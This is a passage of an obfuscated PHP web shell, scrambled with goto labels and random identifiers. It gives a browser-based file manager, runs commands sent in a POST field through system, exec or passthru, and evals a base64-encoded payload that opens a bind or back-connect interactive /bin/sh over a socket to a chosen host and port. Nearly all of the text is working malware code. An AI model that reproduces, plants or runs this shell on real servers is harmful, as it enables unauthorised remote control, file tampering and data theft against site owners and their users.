yBu1sPMOO9;\nVYWlS3nOx0:\n$FMsfhj9eNN .= chr(hexdec(\"{$D9W0v0K2q3[$IKiphkRa67]}{$D9W0v0K2q3[$IKiphkRa67 + 1]}\"));\ngoto tSNU_V8RLN;\nEThfiMKXfe:\nofW6zrTBdf:\ngoto tqfBTI4VQk;\nRLaX7avg7R:\n$FMsfhj9eNN .= dechex(ord($D9W0v0K2q3[$IKiphkRa67]));\ngoto zOx24N5WZG;\ntqfBTI4VQk:\ngoto zdNGAHnz2I;\ngoto Em1B6VAcvW;\ntSFsOi93Pc:\nhcWSNAsNnn:\ngoto cdda9BMGIp;\nYBvZCMvcoQ:\n$OI03NhJ2Yv = strlen($D9W0v0K2q3);\ngoto aPqRRotZs7;\nZQKmM0ZO1z:\n}\ngoto ZNQuKDPR_4;\nvhjTMlZILs:\n?\u003e\n\u003ch5\u003eCommand\u003c/h5\u003e\n\u003cpre class=\"border bg-info p-2\"\u003e\u003ci class=\"fa fa-terminal\"\u003e\u003c/i\u003e \u003c?php\ngoto LHKm105Km7;\nnRad7u_84k:\nUVK2cx0wsu:\ngoto P3l6Ot_Nq2;\nPb_Plr8szn:\nisset($_POST[\"s\"]) ? file_exists(\"{$EEfZ6TZDdb}/{$_POST[\"n\"]}\") ? Bb5INvugYh(\"folder name has been used\", rxefbn6hEy($EEfZ6TZDdb, 0) . \"\u0026a=\" . rxefBn6hey(\"cdir\", 0)) : (mkdir(\"{$EEfZ6TZDdb}/{$_POST[\"n\"]}\") ? bB5iNVUGyH(\"folder created successfully\", RxeFbN6HEy($EEfZ6TZDdb . \"/\" . $_POST[\"n\"], 0)) : BB5InvUgYH(\"folder failed to create\", RxEfBN6hEy($EEfZ6TZDdb, 0), 0)) : null;\ngoto EdwYtsCOvQ;\nxezzXbZ0n3:\necho $_GET[\"t\"] == \"d\" ? \"folder\" : \"file\";\ngoto X31kOqdTx7;\negAEX13geb:\n?\u003e\n\u003ch5\u003eView file\u003c/h5\u003e\n\u003cspan\u003eFile name : \u003c?php\ngoto d5oIa6c6mo;\ne1DVBPK5MZ:\nAmZ_WHgxlE:\ngoto QiVggpWdug;\nkPuh3sB7ZW:\nbLvI_Fu3sF:\ngoto NIDHY8CumR;\nWX3PBtaAK3:\nLEIHIpts4n:\ngoto p59Ko9RToC;\npzkU10IQiS:\niqfV5KrODo:\ngoto DSgJ4EEwOL;\nU6RgZiR5iP:\nforeach ($fgiEl2SFA1 as $GH5ltOv09p) {\ngoto NGJBE3_QDg;\nfnleygjPy5:\ngoto Hr0waR6BpO;\ngoto OOFzGy7x36;\nOOFzGy7x36:\njCLJ3kfZ8a:\ngoto kd_ict3juy;\nNGJBE3_QDg:\nif (is_dir(\"{$EEfZ6TZDdb}/{$GH5ltOv09p}\")) {\ngoto jCLJ3kfZ8a;\n}\ngoto fnleygjPy5;\nkd_ict3juy:\necho \"\u003ctr\u003e\\n          \u003ctd\u003e\u003ca href=\\\"?l=\" . RxefBN6hEY(\"{$EEfZ6TZDdb}/{$GH5ltOv09p}\", 0) . \"\\\" data-toggle=\\\"tooltip\\\" data-placement=\\\"auto\\\" title=\\\"Latest modify on \" . date(\"Y-m-d H:i\", filemtime(\"{$EEfZ6TZDdb}/{$GH5ltOv09p}\")) . \"\\\"\u003e\u003ci class=\\\"fa fa-fw fa-folder\" . (count(scandir(\"{$EEfZ6TZDdb}/{$GH5ltOv09p}\")) == 0 ? \"\" : \"-open\") . \" text-warning\\\"\u003e\u003c/i\u003e {$GH5ltOv09p}\u003c/a\u003e\u003c/td\u003e\\n          \u003ctd\u003eN/A\u003c/td\u003e\\n          \u003ctd\u003e\u003cfont color=\\\"\" . (is_writable(\"{$EEfZ6TZDdb}/{$GH5ltOv09p}\") ? \"#00ff00\" : (!is_readable(\"{$EEfZ6TZDdb}/{$GH5ltOv09p}\") ? \"red\" : null)) . \"\\\"\u003e\" . hRXkAtTukJ(\"{$EEfZ6TZDdb}/{$GH5ltOv09p}\") . \"\u003c/font\u003e\u003c/td\u003e\\n          \u003ctd\u003e\\n            \u003ca href=\\\"?l=\" . rXeFbN6HEy($EEfZ6TZDdb, 0) . \"\u0026a=\" . rxeFBn6HEy(\"rename\", 0) . \"\u0026n=\" . rXEFbN6Hey($GH5ltOv09p, 0) . \"\u0026t=d\\\" data-toggle=\\\"tooltip\\\" data-placement=\\\"auto\\\" title=\\\"Rename\\\"\u003e\u003ci class=\\\"fa fa-fw fa-pencil\\\"\u003e\u003c/i\u003e\u003c/a\u003e\\n            \u003ca href=\\\"?l=\" . RxEfBn6hEY($EEfZ6TZDdb, 0) . \"\u0026a=\" . RxefbN6hey(\"delete\", 0) . \"\u0026n=\" . rxEFbn6HEy($GH5ltOv09p, 0) . \"\u0026t=f\\\" class=\\\"delete\\\" data-type=\\\"folder\\\" data-toggle=\\\"tooltip\\\" data-placement=\\\"auto\\\" title=\\\"Delete\\\"\u003e\u003ci class=\\\"fa fa-fw fa-trash\\\"\u003e\u003c/i\u003e\u003c/a\u003e\\n          \u003c/td\u003e\u003c/tr\u003e\";\ngoto zfUgYAH3MQ;\nzfUgYAH3MQ:\nHr0waR6BpO:\ngoto Pn1401P2iD;\nPn1401P2iD:\n}\ngoto dNAXwyF5jm;\nHqjr9ld8se:\n$IKiphkRa67++;\ngoto d0z8uX0wp2;\nMWacVfk2Z9:\necho \"{$_SERVER[\"SERVER_NAME\"]} ({$_SERVER[\"REMOTE_ADDR\"]})\";\ngoto cCui051SEu;\nL3Ih6C_82z:\n$EEfZ6TZDdb = getcwd();\ngoto HD1w0oiEBZ;\npQ3h2CEIaE:\nyLxrotraE3:\ngoto deRzU3bq7h;\nzvl7rFBRXM:\necho phpversion();\ngoto OyonV_aXfE;\nzoc5HXXlKd:\nif (!($hzOvuJeFzz == \"delete\")) {\ngoto a570kYKgnw;\n}\ngoto HAtVYbHdyo;\njP2j_WsoIN:\n$fgiEl2SFA1 = array_diff(scandir($EEfZ6TZDdb), ['.', '..']);\ngoto U6RgZiR5iP;\nd0z8uX0wp2:\ngoto et0KZW4bvS;\ngoto DYX5ofDNkJ;\nJxeppvOhkj:\nmqgxd0ffd7:\ngoto EfxIdbdntP;\nt5hyi0WMXW:\n?\u003e\n\u003cdiv class=\"px-2 py-2\"\u003e\n\u003c?php\ngoto zoc5HXXlKd;\nTGAVCVIxJL:\nisset($_POST[\"s\"]) ? rename($EEfZ6TZDdb . '/' . rXEFbn6heY($_GET[\"n\"]), $_POST[\"n\"]) ? bB5invUGyH(\"successfully changed the name\", rxEfbn6hey($EEfZ6TZDdb, 0)) : Bb5iNvugyh(\"failed to change the name\", RXEfbn6HEY($EEfZ6TZDdb, 0), 0) : null;\ngoto dbYRcKsPIp;\nqvSYZCVNk0:\nQ0WFVkujRs($IqAFWYu448);\ngoto FM1zySo56b;\nNIDHY8CumR:\na570kYKgnw:\ngoto gQ0uxJM3IM;\nfpFzgy_AKw:\nunlink($IqAFWYu448);\ngoto wKFr1pnzc8;\nLHKm105Km7:\necho isset($_POST[\"cmd\"]) ? $_POST[\"cmd\"] . \"\u003cbr\u003e\" . ZiODPz7nrE($_POST[\"cmd\"]) : \"\";\ngoto MvSZRFs0SS;\njz_2zEOwzt:\nif (!isset($_FILES['f'])) {\ngoto CYI57kgQJP;\n}\ngoto Kf_pWcks49;\nIVRDMHFY4o:\n?\u003e\u003c/span\u003e\n\u003cform method=\"post\"\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003clabel for=\"ctn\"\u003eContent :\u003c/label\u003e\u003ctextarea name=\"ctn\" id=\"ctn\" cols=\"30\" rows=\"10\" class=\"form-control\"\u003e\u003c?php\ngoto s00fzLO5Yl;\njt5neMFYv3:\nCYI57kgQJP:\ngoto h3GEWWTVgD;\nWQ5FRO1vHE:\n?\u003e\u003c/textarea\u003e\n\u003c/div\u003e\n\u003c?php\ngoto uTadf7sHfn;\npqYY95BvuW:\neval($rRwNpSflmI);\ngoto Y2JbRwIzN2;\nDKCCjxBaV1:\nif (!isset($_POST['s'])) {\ngoto lgFAN1_7Jm;\n}\ngoto vTj5YprhCZ;\ngsi4neWUGA:\nif ($hzOvuJeFzz == \"term\") {\ngoto N64OxnT9Bh;\n}\ngoto d6E_B1kiXH;\nmwiid_zmqA:\n?\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003c?php\ngoto Ms3mPsNEFz;\nerrh3t4_bj:\n?\u003e\" class=\"form-control\"\u003e\n\u003cinput type=\"number\" name=\"port\" placeholder=\"\u003c?php\ngoto BhKgAwcXlI;\nvaea2TNc3W:\n?\u003e\n\u003c?php\ngoto ZPaDeX38qY;\nGOgo5L4_m1:\necho '\u003c/div\u003e';\ngoto uLfgP7Khd1;\nGBMZg5FNn5:\n$EEfZ6TZDdb = RxEfBN6HEy($_GET['l']);\ngoto AxYV08ef23;\nQiVggpWdug:\nfunction ZiOdpZ7NRe($uzNaDUYhmE) {\ngoto S3Qzf1dQtJ;\nYwzdjcDHzZ:\nreturn $GpjllTmONM;\ngoto C5BvoqV0QO;\nEEr5NKol9z:\nreturn $GpjllTmONM;\ngoto JpNyWf38OC;\nMd0hXovAWp:\nif (function_exists('LO04lRpWK3')) {\ngoto ZL1i5x7vAp;\n}\ngoto F3aPZv7Ivq;\nRV4_cwKVfM:\n@ob_end_clean();\ngoto YwzdjcDHzZ;\nDD2lPqxmMz:\n@ob_start();\ngoto hZKcepEUr9;\nARCEi82gDd:\nxxrteaxnDp:\ngoto mrrLrvO2_2;\nF3aPZv7Ivq:\ngoto Aa1Xj7bvHV;\ngoto xvdvg7ah0M;\nwTnu9rrS0b:\nif (function_exists('passthru')) {\ngoto LWJqpq8yIR;\n}\ngoto Md0hXovAWp;\nw0M1Hs2RaI:\nif (function_exists('exec')) {\ngoto xxrteaxnDp;\n}\ngoto wTnu9rrS0b;\nlYPPssvZnN:\nreturn $GpjllTmONM;\ngoto o2xGbbbn7p;\nl7Sy_e2gNs:\naIlXKUa38m:\ngoto wqKjdERcuI;\nXSHObW431y:\n$GpjllTmONM = @ob_get_contents();\ngoto RV4_cwKVfM;\no2xGbbbn7p:\ngoto Aa1Xj7bvHV;\ngoto ARCEi82gDd;\nJpNyWf38OC:\nAa1Xj7bvHV:\ngoto ncZJ9fHIca;\nS3Qzf1dQtJ:\nif (function_exists('system')) {\ngoto ShitZ_fqN0;\n}\ngoto w0M1Hs2RaI;\npmA_RXTG2H:\nforeach ($htHTK6yRnX as $DWC35O18yz) {\n$GpjllTmONM .= $DWC35O18yz;\nK7EykltkhG:\n}\ngoto l7Sy_e2gNs;\nleFmMK27js:\n@ob_end_clean();\ngoto lYPPssvZnN;\nkPjOic6Y0y:\nLWJqpq8yIR:\ngoto DD2lPqxmMz;\nC5BvoqV0QO:\ngoto Aa1Xj7bvHV;\ngoto Gj6CvS2ymR;\nlqJmw679pi:\n$GpjllTmONM = '';\ngoto pmA_RXTG2H;\nZFOEwZlXbP:\n$GpjllTmONM = @ob_get_contents();\ngoto leFmMK27js;\nhZKcepEUr9:\n@passthru($uzNaDUYhmE);\ngoto XSHObW431y;\nmrrLrvO2_2:\n@exec($uzNaDUYhmE, $htHTK6yRnX);\ngoto lqJmw679pi;\nwqKjdERcuI:\nreturn $GpjllTmONM;\ngoto gBHH0bU_b0;\nUwvldCMoKq:\n@ob_start();\ngoto g2B36laNqw;\nGj6CvS2ymR:\nZL1i5x7vAp:\ngoto BQbLSRTLBg;\ng2B36laNqw:\n@system($uzNaDUYhmE);\ngoto ZFOEwZlXbP;\nxvdvg7ah0M:\nShitZ_fqN0:\ngoto UwvldCMoKq;\nBQbLSRTLBg:\n$GpjllTmONM = @lO04lrpWK3($uzNaDUYhmE);\ngoto EEr5NKol9z;\ngBHH0bU_b0:\ngoto Aa1Xj7bvHV;\ngoto kPjOic6Y0y;\nncZJ9fHIca:\n}\ngoto LcspiVxgnz;\nse4fG1bBsx:\nji_iynjOca:\ngoto mwiid_zmqA;\nY2JbRwIzN2:\necho 'Finished...';\ngoto GOgo5L4_m1;\nuZLJEXNBXC:\nforeach ($fgiEl2SFA1 as $rn5LpfN5ed) {\ngoto TPhDQkESfw;\njS1wS_J3NZ:\n$nWFrSLIRip = $nWFrSLIRip \u003e 1024 ? round($nWFrSLIRip / 1024, 2) . \"MB\" : $nWFrSLIRip . \"KB\";\ngoto s4ZD82W7si;\nTPhDQkESfw:\nif (is_file(\"{$EEfZ6TZDdb}/{$rn5LpfN5ed}\")) {\ngoto r7XRlRbOPb;\n}\ngoto vv8Mn2Xk4q;\nvv8Mn2Xk4q:\ngoto klWD96HxTP;\ngoto toECwsZyAp;\ntoECwsZyAp:\nr7XRlRbOPb:\ngoto evSeCa9Ebj;\nTfHb3SJszc:\n$nWFrSLIRip = round($nWFrSLIRip, 3);\ngoto jS1wS_J3NZ;\noNCyMMeqOT:\nklWD96HxTP:\ngoto rv2fcrMmui;\nevSeCa9Ebj:\n$nWFrSLIRip = filesize(\"{$EEfZ6TZDdb}/{$rn5LpfN5ed}\") / 1024;\ngoto TfHb3SJszc;\ns4ZD82W7si:\necho \"\u003ctr\u003e\\n\\t        \u003ctd\u003e\u003ca href=\\\"?l=\" . rxefbN6HEy($EEfZ6TZDdb, 0) . \"\u0026a=\" . rXEFbn6HEY(\"view\", 0) . \"\u0026n=\" . RxEFBN6heY($rn5LpfN5ed, 0) . \"\\\" data-toggle=\\\"tooltip\\\" data-placement=\\\"auto\\\" title=\\\"Latest modify on \" . date(\"Y-m-d H:i\", filemtime(\"{$EEfZ6TZDdb}/{$rn5LpfN5ed}\")) . \"\\\"\u003e\u003ci class=\\\"fa fa-fw fa-file\" . ($_SERVER[\"SCRIPT_FILENAME\"] == \"{$EEfZ6TZDdb}/{$rn5LpfN5ed}\" ? \" text-danger\" : \"\") . \"\\\"\u003e\u003c/i\u003e {$rn5LpfN5ed}\u003c/a\u003e\u003c/td\u003e\\n\\t        \u003ctd\u003e{$nWFrSLIRip}\u003c/td\u003e\\n\\t        \u003ctd\u003e\u003cfont color=\\\"\" . (is_writable(\"{$EEfZ6TZDdb}/{$rn5LpfN5ed}\") ? \"#00ff00\" : (!is_readable(\"{$EEfZ6TZDdb}/{$rn5LpfN5ed}\") ? \"red\" : null)) . \"\\\"\u003e\" . HRXkaTtukj(\"{$EEfZ6TZDdb}/{$rn5LpfN5ed}\") . \"\u003c/font\u003e\u003c/td\u003e\\n\\t        \u003ctd\u003e\\n\\t          \u003cdiv class=\\\"d-flex justify-content-between\\\"\u003e\\n\\t            \u003ca href=\\\"?l=\" . RXeFbN6HEY($EEfZ6TZDdb, 0) . \"\u0026a=\" . rxeFBN6hey(\"edit\", 0) . \"\u0026n=\" . RXeFBN6HEY($rn5LpfN5ed, 0) . \"\\\" data-toggle=\\\"tooltip\\\" data-placement=\\\"auto\\\" title=\\\"Edit\\\"\u003e\u003ci class=\\\"fa fa-fw fa-edit\\\"\u003e\u003c/i\u003e\u003c/a\u003e\\n\\t            \u003ca href=\\\"?l=\" . RXeFBn6hey($EEfZ6TZDdb, 0) . \"\u0026a=\" . RXeFBn6HeY(\"rename\", 0) . \"\u0026n=\" . rXEfbN6hEY($rn5LpfN5ed, 0) . \"\u0026t=f\\\" data-toggle=\\\"tooltip\\\" data-placement=\\\"auto\\\" title=\\\"Rename\\\"\u003e\u003ci class=\\\"fa fa-fw fa-pencil\\\"\u003e\u003c/i\u003e\u003c/a\u003e\\n\\t            \u003ca href=\\\"?l=\" . rxeFbN6HEy($EEfZ6TZDdb, 0) . \"\u0026n=\" . RXEFbN6HeY($rn5LpfN5ed, 0) . \"\u0026download\" . \"\\\" data-toggle=\\\"tooltip\\\" data-placement=\\\"auto\\\" title=\\\"Download\\\"\u003e\u003ci class=\\\"fa fa-fw fa-download\\\"\u003e\u003c/i\u003e\u003c/a\u003e\\n\\t            \u003ca href=\\\"?l=\" . RxEFBn6Hey($EEfZ6TZDdb, 0) . \"\u0026a=\" . RXeFbN6heY(\"delete\", 0) . \"\u0026n=\" . rxEfbN6heY($rn5LpfN5ed, 0) . \"\\\" class=\\\"delete\\\" data-type=\\\"file\\\" data-toggle=\\\"tooltip\\\" data-placement=\\\"auto\\\" title=\\\"Delete\\\"\u003e\u003ci class=\\\"fa fa-fw fa-trash\\\"\u003e\u003c/i\u003e\u003c/a\u003e\\n\\t          \u003c/div\u003e\\n\\t        \u003c/td\u003e\u003c/tr\u003e\";\ngoto oNCyMMeqOT;\nrv2fcrMmui:\n}\ngoto se4fG1bBsx;\nzWSkrZzsWq:\necho \"?l=\" . rxefBN6Hey($EEfZ6TZDdb, 0) . \"\u0026a=\" . RXEfBn6HEy(\"con\", 0);\ngoto NcDR2cFSK_;\nu_4IaYeVy2:\necho RxEfbn6Hey($_GET[\"n\"]);\ngoto IVRDMHFY4o;\nF7zXLBDEK2:\n$rRwNpSflmI = \"\\$target = \\\"{$g9_4Zq7xGB} {$TkCbW35AQi}\\\";\\n{$rRwNpSflmI}\";\ngoto pqYY95BvuW;\nhZocDUXtgN:\n$rRwNpSflmI = base64_decode(\"Z290byBQSVdtODsKbFVjUWI6CmZjbG9zZSgkcGlwWzJdKTsKZ290byBUT01NNjsKbzZfbnM6CmV4aXQoMCk7CmdvdG8gZExXZVE7CnJDVnd6OgokZWEgPSBudWxsOwpnb3RvIE9rZ2M4OwpQSVdtODoKZXJyb3JfcmVwb3J0aW5nKDApOwpnb3RvIHdrcktMOwpkTFdlUToKSzFmSnI6CmdvdG8gRVEwZm07CnNnTWNQOgpmY2xvc2UoJHMpOwpnb3RvIFc1eUxiOwpOOGkyYjoKaWYgKCFpbl9hcnJheSgkcGlwWzFdLCAkcmEpKSB7CiAgZ290byB5Q1pzUTsKfQpnb3RvIHV0VUdtOwpjYXQ5MDoKaWYgKCFmdW5jdGlvbl9leGlzdHMoIlwxNjBceDYzXHg2ZVx4NzRceDZjXDEzN1x4NjZceDZmXDE2MlwxNTMiKSkgewogIGdvdG8gQmFhcjA7Cn0KZ290byBDQ3ZNbTsKUFVlRFI6Cm9iX2ltcGxpY2l0X2ZsdXNoKCk7CmdvdG8gUlAweWc7CkF0dEZVOgpleGl0KDEpOwpnb3RvIEVnOWhnOwpLUTFRUjoKJGkgPSBmcmVhZCgkcGlwWzJdLCAkY3MpOwpnb3RvIE1DbmloOwpTUEVaRDoKJHAgPSAkdGFyZ2V0Owpnb3RvIE5SVDNpOwpoWXl6YToKeUNac1E6CmdvdG8gZ29NN007Cm9DbWFNOgpzdHJlYW1fc2V0X3RpbWVvdXQoJHMsIDMwKTsKZ290byBxeVkyVDsKVkRCQXE6CiRzID0gc3RyZWFtX3NvY2tldF9zZXJ2ZXIoIlx4NzRceDYzXDE2MFx4M2FceDJmXHgyZlw2MFw1Nlx4MzBceDJlXHgzMFw1Nlw2MFx4M2EiIC4gJHAsICRlcnJubywgJGVycnN0cik7CmdvdG8gb0NtYU07Ck9odWU4OgppZiAoJHQgPT0gIlx4NjJcMTUxXDE1NlwxNDQiKSB7CiAgZ290byBwZVhlUTsKfQpnb3RvIHBIa2t6Owp0dkVIUjoKWFhCS3Q6CmdvdG8gVDRMRWk7CmFaT0FtOgpmY2xvc2UoJHBpcFsyXSk7CmdvdG8gT0dOT1U7ClEzanZjOgokdCA9ICJcMTQyXDE0MVx4NjNcMTUzIjsKZ290byBRdHhMODsKUEJSM2U6CmZjbG9zZSgkcyk7CmdvdG8gUWZmNlc7Clc1eUxiOgpmY2xvc2UoJHBpcFswXSk7CmdvdG8gazBZcFE7Ck9HTk9VOgpwcm9jX2Nsb3NlKCRwcik7CmdvdG8gTWl4NzU7Ck1DbmloOgpmd3JpdGUoJHMsICRpKTsKZ290byB4dlJTejsKSUlwQzc6CmlmICghdHJ1ZSkgewogIGdvdG8gaVY2blM7Cn0KZ290byBveFFXejsKdHZkSG46CmZ3cml0ZSgkYywgJG0pOwpnb3RvIGIyTW1BOwpPa2djODoKJHNoID0gIlwxNDVceDc4XHg3MFx4NmZceDcyXHg3NFw0MFx4NTRcMTA1XDEyMlx4NGRcNzVceDc4XHg3NFx4NjVcMTYyXDE1NVw3M1wxMjBceDUzXHgzMVx4M2RceDI3XHgyNFwxMjBcMTI3XHg0NFx4M2VcNDdceDNiXHg2NVx4NzhcMTYwXHg2ZlwxNjJceDc0XHgyMFx4NTBcMTIzXDYxXDczXHgyZlx4NjJcMTUxXDE1Nlx4MmZcMTYzXDE1MFw0MFw1NVwxNTEiOwpnb3RvIGRKQk1GOwp1dFVHbToKJGkgPSBmcmVhZCgkcGlwWzFdLCAkY3MpOwpnb3RvIEEyNHRJOwpwczhQaToKZ290byBXQlczUjsKZ290byB1WXhiTzsKY0JwaWo6CmlmIChjb3VudCgkdGFyZ2V0cykgPT0gMSkgewogIGdvdG8gYzZ2bEM7Cn0KZ290byBEU2tUbjsKZ29NN006CmlmICghaW5fYXJyYXkoJHBpcFsyXSwgJHJhKSkgewogIGdvdG8gT0FLb1I7Cn0KZ290byBOOU91MTsKbk9GNDc6CiR3YSA9IG51bGw7CmdvdG8gckNWd3o7CnVZeGJPOgpGN0pPcDoKZ290byBqaEVkMzsKUXR4TDg6CldCVzNSOgpnb3RvIGNhdDkwOwpwd3FhSzoKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzBdLCAwKTsKZ290byBJYXFISTsKTlJUM2k6CiRoID0gJyc7CmdvdG8gSzlzeVA7Cmk2aUwxOgpmd3JpdGUoJHBpcFswXSwgJGkpOwpnb3RvIE40VUlDOwpmdWZwWDoKZXhpdCgxKTsKZ290byBReDFLVTsKcXlZMlQ6CiRjID0gc3RyZWFtX3NvY2tldF9hY2NlcHQoJHMpOwpnb3RvIHR2ZEhuOwpkSkJNRjoKJG0gPSAiXHg0N1wxNDVcMTU0XHgzNFx4NzlcNDBcMTIzXHg2OFwxNDVcMTU0XHg2Y1x4YSI7CmdvdG8gY0JwaWo7CkQzUnVoOgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRjLCAwKTsKZ290byB5RHhyazsKWU05MEg6CiRkcyA9IGFycmF5KDAgPT4gYXJyYXkoIlx4NzBcMTUxXHg3MFx4NjUiLCAiXHg3MiIpLCAxID0+IGFycmF5KCJceDcwXDE1MVwxNjBcMTQ1IiwgIlwxNjciKSwgMiA9PiBhcnJheSgiXDE2MFx4NjlcMTYwXHg2NSIsICJcMTY3IikpOwpnb3RvIEFZaGtlOwp1RWdWRjoKZXhpdCgxKTsKZ290byBtNGdrbDsKTVpCcWw6CmZjbG9zZSgkcGlwWzFdKTsKZ290byBhWk9BbTsKSzlzeVA6CiR0ID0gIlx4NjJceDY5XHg2ZVwxNDQiOwpnb3RvIHBzOFBpOwpyV3lnMjoKZ290byB2ZzFKMTsKZ290byB0dkVIUjsKdEszM186CmlmIChpc19yZXNvdXJjZSgkcHIpKSB7CiAgZ290byBvUnRUMDsKfQpnb3RvIGZ1ZnBYOwpZMGNIajoKJHMgPSBmc29ja29wZW4oJGgsICRwLCAkZW4sICRlcywgMzApOwpnb3RvIEg3bTNlOwpFZzloZzoKczVkN186CmdvdG8gcHdxYUs7ClQ0TEVpOgokcmEgPSBhcnJheSgkYywgJHBpcFsxXSwgJHBpcFsyXSk7CmdvdG8gek9mOUQ7Clg3a1UzOgppZiAoISgkcGlkID09IC0xKSkgewogIGdvdG8gVkIzX047Cn0KZ290byBkMm15ZDsKUzBNTHo6CkJhYXIwOgpnb3RvIE9odWU4OwpReDFLVToKb1J0VDA6CmdvdG8gdGVqbUU7Cm00Z2tsOgpMaFA2QjoKZ290byBTME1MejsKTjRVSUM6CkNHSTQwOgpnb3RvIE44aTJiOwpkMm15ZDoKZXhpdCgxKTsKZ290byBWaDM5QTsKTjlPdTE6CiRpID0gZnJlYWQoJHBpcFsyXSwgJGNzKTsKZ290byBVa1M2ejsKTWl4NzU6CmdvdG8gdFhjSV87CmdvdG8gc3hHbTA7CnBIa2t6OgppZiAoJHQgPT0gIlx4NjJceDYxXDE0M1x4NmIiKSB7CiAgZ290byBqVUhKNDsKfQpnb3RvIHBVaF9MOwpkbW1FSDoKJGkgPSBmcmVhZCgkcGlwWzFdLCAkY3MpOwpnb3RvIGxncm4yOwpoVHJWaToKVDh4b1E6CmdvdG8gY2VIbnQ7CkQ4VlpFOgppZiAoIXRydWUpIHsKICBnb3RvIHZnMUoxOwp9CmdvdG8gSF9MSHk7CnZDOUswOgpzdHJlYW1fc2VsZWN0KCRyYSwgJHdhLCAkZWEsIG51bGwpOwpnb3RvIHVoUFNyOwpUT01NNjoKcHJvY19jbG9zZSgkcHIpOwpnb3RvIGNIeXJYOwpRV18yVDoKJHByID0gcHJvY19vcGVuKCRzaCwgJGRzLCAkcGlwKTsKZ290byB0SzMzXzsKUWZmNlc6CmZjbG9zZSgkYyk7CmdvdG8gdVduaUk7CnpIXzNuOgppZiAoIWluX2FycmF5KCRwaXBbMV0sICRyYSkpIHsKICBnb3RvIFQ4eG9ROwp9CmdvdG8gZG1tRUg7Cld1WmpoOgokY3MgPSAxMzM3Owpnb3RvIG5PRjQ3OwpzeEdtMDoKalVISjQ6CmdvdG8gWTBjSGo7ClJQMHlnOgokdGFyZ2V0cyA9IGV4cGxvZGUoIlw0MCIsICR0YXJnZXQpOwpnb3RvIFd1WmpoOwpFUTBmbToKaWYgKCEocG9zaXhfc2V0c2lkKCkgPT0gLTEpKSB7CiAgZ290byBMaFA2QjsKfQpnb3RvIHVFZ1ZGOwpDQ3ZNbToKJHBpZCA9IHBjbnRsX2ZvcmsoKTsKZ290byBYN2tVMzsKRTIyYkw6CmM2dmxDOgpnb3RvIFNQRVpEOwpBWWhrZToKJHByID0gcHJvY19vcGVuKCRzaCwgJGRzLCAkcGlwKTsKZ290byBoMWhENDsKSF9MSHk6CmlmICghKGZlb2YoJGMpIHx8IGZlb2YoJHBpcFsxXSkpKSB7CiAgZ290byBYWEJLdDsKfQpnb3RvIHJXeWcyOwpwVWhfTDoKZ290byB0WGNJXzsKZ290byB3X3p4UTsKTTdNSnc6CiRpID0gZnJlYWQoJHMsICRjcyk7CmdvdG8gdW4yQm87CnpPZjlEOgpzdHJlYW1fc2VsZWN0KCRyYSwgJHdhLCAkZWEsIG51bGwpOwpnb3RvIFAySE14OwpJYXFISToKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzFdLCAwKTsKZ290byB3b0FaMzsKQTZNRjA6CiRpID0gZnJlYWQoJGMsICRjcyk7CmdvdG8gaTZpTDE7Cmxncm4yOgpmd3JpdGUoJHMsICRpKTsKZ290byBoVHJWaTsKVjRlS2c6CmlmICghJHBpZCkgewogIGdvdG8gSzFmSnI7Cn0KZ290byBvNl9uczsKWDJhdVg6CmdvdG8gV0JXM1I7CmdvdG8gRTIyYkw7ClZoMzlBOgpWQjNfTjoKZ290byBWNGVLZzsKSDdtM2U6CmZ3cml0ZSgkcywgJG0pOwpnb3RvIFlNOTBIOwpVa1M2ejoKZndyaXRlKCRjLCAkaSk7CmdvdG8gbEtoOHU7ClBseER1OgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBbMV0sIDApOwpnb3RvIEs3NnNnOwpsS2g4dToKT0FLb1I6CmdvdG8gbl81VU87CnZtMDl0OgppVjZuUzoKZ290byBzZ01jUDsKeUR4cms6ClY1RFpfOgpnb3RvIEQ4VlpFOwp3b0FaMzoKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzJdLCAwKTsKZ290byBqNm1KVzsKZVY1V1U6ClFETDlHOgpnb3RvIHpIXzNuOwp1bjJCbzoKZndyaXRlKCRwaXBbMF0sICRpKTsKZ290byBlVjVXVTsKQTI0dEk6CmZ3cml0ZSgkYywgJGkpOwpnb3RvIGhZeXphOwppZVAzMzoKJHJhID0gYXJyYXkoJHMsICRwaXBbMV0sICRwaXBbMl0pOwpnb3RvIHZDOUswOwpoMWhENDoKaWYgKGlzX3Jlc291cmNlKCRwcikpIHsKICBnb3RvIHM1ZDdfOwp9CmdvdG8gQXR0RlU7CmNPb0JlOgpXUW1qXzoKZ290byBJSXBDNzsKRUtzaXU6CmdvdG8gaVY2blM7CmdvdG8gUFFUV0M7Cm5fNVVPOgpnb3RvIFY1RFpfOwpnb3RvIElDd2UzOwpiMk1tQToKJGRzID0gYXJyYXkoMCA9PiBhcnJheSgiXDE2MFwxNTFceDcwXHg2NSIsICJceDcyIiksIDEgPT4gYXJyYXkoIlwxNjBcMTUxXHg3MFwxNDUiLCAiXDE2NyIpLCAyID0+IGFycmF5KCJcMTYwXDE1MVwxNjBcMTQ1IiwgIlwxNjciKSk7CmdvdG8gUVdfMlQ7CndrcktMOgpzZXRfdGltZV9saW1pdCgwKTsKZ290byBQVWVEUjsKSzc2c2c6CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcFsyXSwgMCk7CmdvdG8gRDNSdWg7CnVXbmlJOgpmY2xvc2UoJHBpcFswXSk7CmdvdG8gTVpCcWw7ClBRVFdDOgpnakhfMToKZ290byBpZVAzMzsKajZtSlc6CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHMsIDApOwpnb3RvIGNPb0JlOwp4dlJTejoKd1NOX3Q6CmdvdG8gUGJVczk7Cm94UVd6OgppZiAoIShmZW9mKCRzKSB8fCBmZW9mKCRwaXBbMV0pKSkgewogIGdvdG8gZ2pIXzE7Cn0KZ290byBFS3NpdTsKdWhQU3I6CmlmICghaW5fYXJyYXkoJHMsICRyYSkpIHsKICBnb3RvIFFETDlHOwp9CmdvdG8gTTdNSnc7CnRlam1FOgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBbMF0sIDApOwpnb3RvIFBseER1OwpEU2tUbjoKaWYgKGNvdW50KCR0YXJnZXRzKSA9PSAyKSB7CiAgZ290byBGN0pPcDsKfQpnb3RvIFgyYXV